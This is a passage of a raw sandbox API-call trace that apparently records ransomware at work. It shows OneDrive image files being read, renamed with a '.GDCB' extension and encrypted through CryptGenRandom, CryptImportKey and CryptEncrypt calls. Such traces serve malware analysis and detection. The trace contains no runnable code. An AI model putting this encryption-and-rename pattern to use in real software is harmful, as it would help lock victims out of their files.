Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\done_graphic.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\done_graphic.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.545] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.546] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.547] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x7e75, lpOverlapped=0x0) returned 1 [0200.573] VirtualAlloc (lpAddress=0x0, dwSize=0x7e80, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.582] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\done_graphic.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\done_graphic.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\done_graphic.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\done_graphic.svg.gdcb")) returned 1 [0200.586] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0200.588] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.589] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.589] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.589] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.589] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0200.590] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.591] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.591] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.591] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.591] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.593] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508ae78) returned 1 [0200.593] CryptGetKeyParam (in: hKey=0x508ae78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.593] CryptEncrypt (in: hKey=0x508ae78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.593] GetLastError () returned 0x0 [0200.593] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.594] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0200.595] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508a878) returned 1 [0200.595] CryptGetKeyParam (in: hKey=0x508a878, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.595] CryptEncrypt (in: hKey=0x508a878, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.596] GetLastError () returned 0x0 [0200.596] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.596] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\errorIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\erroricon.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.597] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.598] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.599] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x31d, lpOverlapped=0x0) returned 1 [0200.608] VirtualAlloc (lpAddress=0x0, dwSize=0x320, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.613] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\errorIcon.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\erroricon.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\errorIcon.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\erroricon.svg.gdcb")) returned 1 [0200.617] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0200.619] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.620] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.620] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.620] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.620] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0200.621] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.622] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.622] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.622] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.622] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0200.624] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508aef8) returned 1 [0200.624] CryptGetKeyParam (in: hKey=0x508aef8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.624] CryptEncrypt (in: hKey=0x508aef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.625] GetLastError () returned 0x0 [0200.625] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.625] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.627] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508aff8) returned 1 [0200.627] CryptGetKeyParam (in: hKey=0x508aff8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.627] CryptEncrypt (in: hKey=0x508aff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.627] GetLastError () returned 0x0 [0200.627] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.627] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.629] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.630] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.631] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x340, lpOverlapped=0x0) returned 1 [0200.639] VirtualAlloc (lpAddress=0x0, dwSize=0x340, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.644] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder.svg.gdcb")) returned 1 [0200.648] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0200.650] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.651] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.651] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.651] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0200.651] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0200.652] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.653] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.653] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.653] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0200.653] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0200.656] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508ab78) returned 1 [0200.656] CryptGetKeyParam (in: hKey=0x508ab78, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.656] CryptEncrypt (in: hKey=0x508ab78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.656] GetLastError () returned 0x0 [0200.656] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.656] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4540) returned 1 [0200.658] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508abb8) returned 1 [0200.658] CryptGetKeyParam (in: hKey=0x508abb8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.658] CryptEncrypt (in: hKey=0x508abb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.659] GetLastError () returned 0x0 [0200.659] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0200.659] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_desktop.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_desktop.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.660] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.662] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.663] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x79b, lpOverlapped=0x0) returned 1 [0200.671] VirtualAlloc (lpAddress=0x0, dwSize=0x7a0, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0200.676] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_desktop.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_desktop.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_desktop.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_desktop.svg.gdcb")) returned 1 [0200.679] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0200.681] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.682] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.682] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0200.682] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.682] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0200.683] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0200.683] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0200.684] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0200.684] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.684] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0200.686] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508acf8) returned 1 [0200.686] CryptGetKeyParam (in: hKey=0x508acf8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.686] CryptEncrypt (in: hKey=0x508acf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0200.686] GetLastError () returned 0x0 [0200.686] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0200.686] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4430) returned 1 [0200.688] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508ad38) returned 1 [0200.688] CryptGetKeyParam (in: hKey=0x508ad38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0200.688] CryptEncrypt (in: hKey=0x508ad38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0200.688] GetLastError () returned 0x0 [0200.688] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0200.688] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_documents.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_documents.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0200.690] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0200.691] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0200.692] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x5031, lpOverlapped=0x0) returned 1 [0201.072] VirtualAlloc (lpAddress=0x0, dwSize=0x5040, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0201.077] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_documents.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_documents.svg"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_documents.svg.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_documents.svg.gdcb")) returned 0 [0201.080] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4e48) returned 1 [0201.082] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.082] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.083] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0201.083] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0201.083] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4760) returned 1 [0201.084] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0201.085] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0201.085] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0201.085] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0201.085] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0201.087] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508adf8) returned 1 [0201.087] CryptGetKeyParam (in: hKey=0x508adf8, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.087] CryptEncrypt (in: hKey=0x508adf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x63a0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0201.087] GetLastError () returned 0x0 [0201.087] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0201.087] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0201.089] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x508ae38) returned 1 [0201.089] CryptGetKeyParam (in: hKey=0x508ae38, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0201.089] CryptEncrypt (in: hKey=0x508ae38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x63b0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0201.089] GetLastError () returned 0x0 [0201.089] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0201.089] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\17.3.7076.1026\\images\\folder_image_pictures.svg" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\17.3.7076.1026\\images\\folder_image_pictures.svg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x514 [0201.091] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x67c0000 [0201.092] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x67d0000 [0201.093] ReadFile (in: hFile=0x514, lpBuffer=0x67d0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d3e8, lpOverlapped=0x0 | out: lpBuffer=0x67d0000*, lpNumberOfBytesRead=0x285d3e8*=0x3100, lpOverlapped=0x0) returned 1 [0201.102] VirtualAlloc (lpAddress=0x0, dwSize=0x3100, flAllocationType=0x3000, flProtect=0x4) returned 0x68e0000 [0201.107] MoveFileW (lpExistingFileName="C:\\Documents and 